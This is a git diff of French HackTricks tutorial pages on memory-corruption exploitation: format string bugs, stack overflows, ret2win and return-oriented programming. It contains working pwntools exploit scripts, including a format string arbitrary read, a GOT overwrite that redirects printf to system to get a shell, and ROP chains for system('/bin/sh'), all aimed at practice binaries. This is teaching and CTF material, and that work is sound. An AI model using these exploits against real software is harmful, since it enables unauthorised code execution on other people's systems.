<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -16,9 +16,9 @@
|
|||
|
||||
En C, **`printf`** est une fonction qui peut être utilisée pour **afficher** une chaîne de caractères. Le **premier paramètre** que cette fonction attend est le **texte brut avec les formateurs**. Les **paramètres suivants** attendus sont les **valeurs** à **substituer** aux **formateurs** du texte brut.
|
||||
|
||||
La vulnérabilité apparaît lorsque un **texte d'attaquant est mis en tant que premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant** des **capacités de chaîne de format printf** pour **écrire n'importe quelle donnée à n'importe quelle adresse**. En étant capable de cette manière d'**exécuter du code arbitraire**.
|
||||
La vulnérabilité apparaît lorsque le **texte de l'attaquant est utilisé comme premier argument** de cette fonction. L'attaquant pourra créer une **entrée spéciale en abusant des capacités de la chaîne de format printf** pour lire et **écrire n'importe quelle donnée à n'importe quelle adresse (lisible/inscriptible)**. En étant capable de cette manière d'**exécuter du code arbitraire**.
|
||||
|
||||
Formateurs:
|
||||
#### Formateurs:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
|
|
@ -28,24 +28,88 @@ Formateurs:
|
|||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée. Écrire** autant **d'octets** que le nombre hexadécimal dont nous **avons besoin** d'écrire est comment vous pouvez **écrire n'importe quelle donnée**.
|
||||
**Exemples:**
|
||||
|
||||
* Exemple vulnérable:
|
||||
```c
|
||||
char buffer[30];
|
||||
gets(buffer); // Dangerous: takes user input without restrictions.
|
||||
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
||||
```
|
||||
* Utilisation normale:
|
||||
```c
|
||||
int value = 1205;
|
||||
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
||||
```
|
||||
* Avec des arguments manquants :
|
||||
```c
|
||||
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
||||
```
|
||||
### **Accès aux pointeurs**
|
||||
|
||||
Le format **`%<n>$x`**, où `n` est un nombre, permet d'indiquer à printf de sélectionner le n-ième paramètre (de la pile). Donc, si vous voulez lire le 4ème paramètre de la pile en utilisant printf, vous pourriez faire :
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
et vous liriez du premier au quatrième paramètre.
|
||||
|
||||
Ou vous pourriez faire :
|
||||
```c
|
||||
printf("$4%x")
|
||||
```
|
||||
et lisez directement le quatrième.
|
||||
|
||||
Notez que l'attaquant contrôle le paramètre `pr`**`intf`, ce qui signifie essentiellement que** son entrée sera dans la pile lorsque `printf` est appelé, ce qui signifie qu'il pourrait écrire des adresses mémoire spécifiques dans la pile.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Un attaquant contrôlant cette entrée sera capable d'**ajouter une adresse arbitraire dans la pile et de faire en sorte que `printf` y accède**. La prochaine section expliquera comment utiliser ce comportement.
|
||||
{% endhint %}
|
||||
|
||||
## **Lecture arbitraire**
|
||||
|
||||
Il est possible d'utiliser le formateur **`$n%s`** pour que **`printf`** obtienne l'**adresse** située à la **position n**, la suivant et **l'imprime comme s'il s'agissait d'une chaîne de caractères** (imprime jusqu'à ce qu'un 0x00 soit trouvé). Ainsi, si l'adresse de base du binaire est **`0x8048000`**, et que nous savons que l'entrée utilisateur commence à la 4e position dans la pile, il est possible d'imprimer le début du binaire avec :
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
p = process('./bin')
|
||||
|
||||
payload = b'%6$p' #4th param
|
||||
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
||||
payload += p32(0x8048000) #6th param
|
||||
|
||||
p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
{% hint style="danger" %}
|
||||
Notez que vous ne pouvez pas mettre l'adresse 0x8048000 au début de l'entrée car la chaîne sera concaténée avec 0x00 à la fin de cette adresse.
|
||||
{% endhint %}
|
||||
|
||||
## **Écriture arbitraire**
|
||||
|
||||
Le formateur **`$<num>%n`** **écrit** le **nombre d'octets écrits** à l'**adresse indiquée** dans le paramètre \<num> dans la pile. Si un attaquant peut écrire autant de caractères qu'il le souhaite avec printf, il pourra faire en sorte que **`$<num>%n`** écrive un nombre arbitraire dans une adresse arbitraire.
|
||||
|
||||
Heureusement, pour écrire le nombre 9999, il n'est pas nécessaire d'ajouter 9999 "A" à l'entrée, pour ce faire, il est possible d'utiliser le formateur **`%.<num-write>%<num>$n`** pour écrire le nombre **`<num-write>`** dans l'**adresse pointée par la position `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### **Flux de l'exploit**
|
||||
Cependant, notez qu'en général, pour écrire une adresse telle que `0x08049724` (qui est un ENORME nombre à écrire en une seule fois), **on utilise `$hn`** au lieu de `$n`. Cela permet de **n'écrire que 2 octets**. Par conséquent, cette opération est effectuée deux fois, une fois pour les 2 octets les plus élevés de l'adresse et une autre fois pour les octets les plus bas.
|
||||
|
||||
Comme expliqué précédemment, cette vulnérabilité permet d'**écrire n'importe quoi à n'importe quelle adresse (écriture arbitraire).**
|
||||
Ainsi, cette vulnérabilité permet d'**écrire n'importe quoi à n'importe quelle adresse (écriture arbitraire)**.
|
||||
|
||||
Le but va être de **remplacer** l'**adresse** d'une **fonction** dans la **table GOT** qui sera appelée plus tard. Idéalement, nous pourrions définir l'**adresse sur un shellcode** situé dans une section exécutable, mais il est très probable que vous ne puissiez pas écrire un shellcode dans une section exécutable.\
|
||||
Une autre option est de **remplacer** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et de la **rediriger** vers la **fonction `system`**.
|
||||
Dans cet exemple, l'objectif va être de **remplacer** l'**adresse** d'une **fonction** dans la table **GOT** qui sera appelée plus tard. Bien que cela puisse exploiter d'autres techniques d'écriture arbitraire pour exécuter du code :
|
||||
|
||||
Pour écrire l'adresse, généralement 2 étapes sont effectuées : Vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, on utilise **`$hn`**.
|
||||
{% content-ref url="../arbitrary-write-2-exec/" %}
|
||||
[arbitrary-write-2-exec](../arbitrary-write-2-exec/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**HOB** est appelé pour les 2 octets les plus élevés de l'adresse\
|
||||
**LOB** est appelé pour les 2 octets les plus bas de l'adresse
|
||||
Nous allons **remplacer** une **fonction** qui **reçoit** ses **arguments** de l'**utilisateur** et la **rediriger** vers la fonction **`system`**.\
|
||||
Comme mentionné, pour écrire l'adresse, généralement 2 étapes sont nécessaires : Vous **écrivez d'abord 2 octets** de l'adresse, puis les 2 autres. Pour ce faire, on utilise **`$hn`**.
|
||||
|
||||
Ainsi, en raison du fonctionnement des chaînes de format, vous devez **d'abord écrire le plus petit** des \[HOB, LOB] puis l'autre.
|
||||
* **HOB** est utilisé pour les 2 octets les plus élevés de l'adresse
|
||||
* **LOB** est utilisé pour les 2 octets les plus bas de l'adresse
|
||||
|
||||
Ensuite, en raison du fonctionnement des chaînes de format, vous devez **d'abord écrire le plus petit** des \[HOB, LOB] puis l'autre.
|
||||
|
||||
Si HOB < LOB\
|
||||
`[adresse+2][adresse]%.[HOB-8]x%[décalage]\$hn%.[LOB-HOB]x%[décalage+1]`
|
||||
|
|
@ -55,24 +119,52 @@ Si HOB > LOB\
|
|||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Modèle Pwntools
|
||||
### Modèle Pwntools
|
||||
|
||||
Vous pouvez trouver un modèle pour préparer une exploitation de ce type de vulnérabilité dans :
|
||||
Vous pouvez trouver un modèle pour préparer une exploitation pour ce type de vulnérabilité dans :
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Ou cet exemple de base à partir de [**ici**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
elf = context.binary = ELF('./got_overwrite-32')
|
||||
libc = elf.libc
|
||||
libc.address = 0xf7dc2000 # ASLR disabled
|
||||
|
||||
p = process()
|
||||
|
||||
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
||||
p.sendline(payload)
|
||||
|
||||
p.clean()
|
||||
|
||||
p.sendline('/bin/sh')
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
## Autres exemples et références
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
* [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -16,12 +16,12 @@ Autres façons de soutenir HackTricks :
|
|||
|
||||
## Qu'est-ce qu'un débordement de pile
|
||||
|
||||
Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile que ce qui lui est alloué pour le stockage. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
|
||||
Un **débordement de pile** est une vulnérabilité qui se produit lorsqu'un programme écrit plus de données sur la pile qu'il n'est alloué pour en contenir. Ces données excédentaires vont **écraser l'espace mémoire adjacent**, entraînant la corruption de données valides, la perturbation du flux de contrôle et potentiellement l'exécution de code malveillant. Ce problème survient souvent en raison de l'utilisation de fonctions non sécurisées qui ne vérifient pas les limites des entrées.
|
||||
|
||||
Le principal problème de cet écrasement est que les pointeurs **EIP** et **EBP** pour revenir à la fonction précédente sont **stockés dans la pile**. Par conséquent, un attaquant pourra les écraser et **contrôler le flux d'exécution du programme**.
|
||||
|
||||
La vulnérabilité survient généralement parce qu'une fonction **copie à l'intérieur de la pile plus d'octets que ce qui lui est alloué**, ce qui lui permet d'écraser d'autres parties de la pile.\
|
||||
Certaines fonctions couramment vulnérables à cela sont : `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
La vulnérabilité survient généralement parce qu'une fonction **copie à l'intérieur de la pile plus d'octets que la quantité qui lui est allouée**, ce qui lui permet d'écraser d'autres parties de la pile.\
|
||||
Certaines fonctions courantes vulnérables à cela sont : `strcpy`, `strcat`, `sprintf`, `gets`, `fgets`...
|
||||
|
||||
Par exemple, les fonctions suivantes pourraient être vulnérables :
|
||||
```c
|
||||
|
|
@ -34,11 +34,11 @@ printf("You entered: %s\n", buffer);
|
|||
```
|
||||
### Trouver les débordements de pile
|
||||
|
||||
La manière la plus courante de trouver les débordements de pile est de fournir une entrée très grande de `A`s (par exemple, `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
|
||||
La manière la plus courante de trouver les débordements de pile est de fournir une entrée très grande de `A`s (par exemple `python3 -c 'print("A"*1000)'`) et d'attendre un `Segmentation Fault` indiquant que l'**adresse `0x41414141` a été tentée d'être accédée**.
|
||||
|
||||
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **remplacer le pointeur EIP**, pour cela, on utilise généralement une **séquence de De Bruijn**. Qui, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur **_**n**_** apparaît exactement une fois** en tant que sous-séquence contiguë.
|
||||
De plus, une fois que vous avez trouvé qu'il y a une vulnérabilité de débordement de pile, vous devrez trouver le décalage jusqu'à ce qu'il soit possible de **écraser le pointeur EIP**, pour cela on utilise généralement une **séquence de De Bruijn.** Qui, pour un alphabet donné de taille _k_ et des sous-séquences de longueur _n_, est une **séquence cyclique dans laquelle chaque sous-séquence possible de longueur **_**n**_** apparaît exactement une fois** en tant que sous-séquence contiguë.
|
||||
|
||||
De cette façon, au lieu de devoir déterminer manuellement quel décalage remplace l'EIP, il est possible d'utiliser l'une de ces séquences comme rembourrage, puis de trouver le décalage des octets qui ont fini par le remplacer.
|
||||
De cette manière, au lieu de devoir déterminer manuellement quel décalage écrase l'EIP, il est possible d'utiliser l'une de ces séquences comme rembourrage, puis de trouver le décalage des octets qui ont fini par l'écraser.
|
||||
|
||||
Il est possible d'utiliser **pwntools** pour cela:
|
||||
```python
|
||||
|
|
@ -68,7 +68,7 @@ Cependant, dans d'autres scénarios, peut-être que simplement **écraser les va
|
|||
|
||||
### Ret2win
|
||||
|
||||
Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver le **décalage pour écraser l'EIP** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections/aslr.md) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
|
||||
Dans ce type de défis CTF, il y a une **fonction** **à l'intérieur** du binaire qui **n'est jamais appelée** et que **vous devez appeler pour gagner**. Pour ces défis, vous devez simplement trouver le **décalage pour écraser l'EIP** et **trouver l'adresse de la fonction** à appeler (généralement [**ASLR**](../common-binary-protections-and-bypasses/aslr/) serait désactivé) afin que lorsque la fonction vulnérable retourne, la fonction cachée sera appelée :
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
|
|
@ -92,10 +92,10 @@ Cette technique est le cadre fondamental pour contourner la principale protectio
|
|||
|
||||
## Types de protections
|
||||
|
||||
Il existe plusieurs protections visant à empêcher l'exploitation des vulnérabilités, consultez-les dans :
|
||||
Il existe plusieurs protections visant à empêcher l'exploitation des vulnérabilités, consultez-les ici :
|
||||
|
||||
{% content-ref url="../common-binary-protections/" %}
|
||||
[common-binary-protections](../common-binary-protections/)
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
|
|
|||
|
|
@ -43,7 +43,7 @@ Pour compiler ce programme sans protections de la pile et avec **ASLR** désacti
|
|||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Compiler le programme en binaire 32 bits (c'est facultatif mais courant dans les défis CTF).
|
||||
* `-m32`: Compiler le programme en tant que binaire 32 bits (c'est facultatif mais courant dans les défis CTF).
|
||||
* `-fno-stack-protector`: Désactiver les protections contre les débordements de pile.
|
||||
* `-z execstack`: Autoriser l'exécution de code sur la pile.
|
||||
* `-no-pie`: Désactiver l'exécutable indépendant de la position pour garantir que l'adresse de la fonction `win` ne change pas.
|
||||
|
|
@ -51,7 +51,7 @@ gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
|||
|
||||
### Exploitation Python en utilisant Pwntools
|
||||
|
||||
Pour l'exploitation, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploit créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
|
||||
Pour l'exploitation, nous utiliserons **pwntools**, un puissant framework CTF pour écrire des exploits. Le script d'exploitation créera une charge utile pour déborder le tampon et écraser l'adresse de retour avec l'adresse de la fonction `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -75,16 +75,16 @@ Pour trouver l'adresse de la fonction `win`, vous pouvez utiliser **gdb**, **obj
|
|||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
Ce command vous montrera l'assemblage de la fonction `win`, y compris son adresse de début.
|
||||
Cette commande vous montrera l'assemblage de la fonction `win`, y compris son adresse de début.
|
||||
|
||||
Le script Python envoie un message soigneusement conçu qui, lorsqu'il est traité par la `vulnerable_function`, déborde le tampon et écrase l'adresse de retour sur la pile avec l'adresse de `win`. Lorsque `vulnerable_function` retourne, au lieu de retourner à `main` ou de sortir, il saute à `win`, et le message est imprimé.
|
||||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
|
||||
* Les [**Canaries de pile**](../common-binary-protections/stack-canaries.md) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **doit être désactivé** pour que l'adresse soit fiable à travers les exécutions ou l'adresse où la fonction sera stockée ne sera pas toujours la même et vous auriez besoin d'une fuite pour savoir où la fonction win est chargée.
|
||||
* Les [**Canaries de pile**](../common-binary-protections-and-bypasses/stack-canaries/) doivent également être désactivés sinon l'adresse de retour EIP compromise ne sera jamais suivie.
|
||||
|
||||
## Autres exemples & Références
|
||||
## Autres exemples et Références
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
|
||||
|
|
@ -94,9 +94,9 @@ Le script Python envoie un message soigneusement conçu qui, lorsqu'il est trait
|
|||
|
||||
Autres façons de soutenir HackTricks:
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF** Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
|
|||
|
|
@ -2,13 +2,13 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
@ -21,10 +21,10 @@ La **Programmation Orientée Retour (ROP)** est une technique d'exploitation ava
|
|||
### Fonctionnement de ROP
|
||||
|
||||
1. **Détournement du Flux de Contrôle** : Tout d'abord, un attaquant doit détourner le flux de contrôle d'un programme, généralement en exploitant un dépassement de tampon pour écraser une adresse de retour sauvegardée sur la pile.
|
||||
2. **Enchaînement de Gadgets** : L'attaquant sélectionne ensuite soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de toute opération de nettoyage ou supplémentaire nécessaire.
|
||||
2. **Enchaînement de Gadgets** : L'attaquant sélectionne soigneusement et enchaîne des gadgets pour effectuer les actions souhaitées. Cela pourrait impliquer la configuration des arguments pour un appel de fonction, l'appel de la fonction (par exemple, `system("/bin/sh")`), et la gestion de tout nettoyage nécessaire ou d'opérations supplémentaires.
|
||||
3. **Exécution de la Charge Utile** : Lorsque la fonction vulnérable retourne, au lieu de retourner à un emplacement légitime, elle commence à exécuter la chaîne de gadgets.
|
||||
|
||||
## Exemple de Chaîne ROP en x86
|
||||
## Chaîne ROP dans un Exemple x86
|
||||
|
||||
### **Conventions d'Appel x86 (32 bits)**
|
||||
|
||||
|
|
@ -45,7 +45,7 @@ Tout d'abord, supposons que nous avons identifié les gadgets nécessaires dans
|
|||
En utilisant **pwntools**, nous préparons la pile pour l'exécution de la chaîne ROP comme suit en visant à exécuter `system('/bin/sh')`, notez comment la chaîne commence par :
|
||||
|
||||
1. Une instruction `ret` à des fins d'alignement (optionnel)
|
||||
2. Adresse de la fonction `system` (en supposant que ASLR est désactivé et que la libc est connue, plus d'informations dans [**Ret2lib**](ret2lib/))
|
||||
2. Adresse de la fonction `system` (en supposant que l'ASLR est désactivé et que la libc est connue, plus d'informations dans [**Ret2lib**](ret2lib/))
|
||||
3. Placeholder pour l'adresse de retour de `system()`
|
||||
4. Adresse de la chaîne `"/bin/sh"` (paramètre pour la fonction system)
|
||||
```python
|
||||
|
|
@ -100,7 +100,7 @@ Et nous connaissons l'adresse de la fonction **system()**.
|
|||
|
||||
### **Chaîne ROP**
|
||||
|
||||
Voici un exemple utilisant **pwntools** pour configurer et exécuter une chaîne ROP visant à exécuter **system('/bin/sh')** en **x64** :
|
||||
Voici un exemple utilisant **pwntools** pour configurer et exécuter une chaîne ROP visant à exécuter **system('/bin/sh')** sur **x64** :
|
||||
```python
|
||||
pythonCopy codefrom pwn import *
|
||||
|
||||
|
|
@ -153,10 +153,10 @@ Dans cet exemple :
|
|||
|
||||
## Protections
|
||||
|
||||
* [**ASLR**](../common-binary-protections/aslr.md)
|
||||
* [**Canaris de pile**](../common-binary-protections/stack-canaries.md)
|
||||
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)
|
||||
* [**Canaris de pile**](../common-binary-protections-and-bypasses/stack-canaries/)
|
||||
|
||||
## Autres exemples
|
||||
## Autres exemples et références
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
|
||||
|
||||
|
|
@ -170,13 +170,13 @@ Remarquez que ROP est juste une technique pour exécuter du code arbitraire. Bas
|
|||
[ret2lib](ret2lib/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **Ret2Syscall** : Utilise ROP pour préparer un appel à un appel système, par exemple `execve`, et lui faire exécuter des commandes arbitraires.
|
||||
* **Ret2Syscall** : Utilise ROP pour préparer un appel à un syscall, par exemple `execve`, et lui faire exécuter des commandes arbitraires.
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
* **EBP2Ret & EBP Chaining** : Le premier abuse de EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec des adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
|
||||
* **EBP2Ret & EBP Chaining** : Le premier abuse de EBP au lieu de EIP pour contrôler le flux et le second est similaire à Ret2lib mais dans ce cas, le flux est principalement contrôlé avec les adresses EBP (bien qu'il soit également nécessaire de contrôler EIP).
|
||||
|
||||
{% content-ref url="ebp2ret-ebp-chaining.md" %}
|
||||
[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)
|
||||
|
|
@ -186,12 +186,12 @@ Remarquez que ROP est juste une technique pour exécuter du code arbitraire. Bas
|
|||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Autres façons de soutenir HackTricks :
|
||||
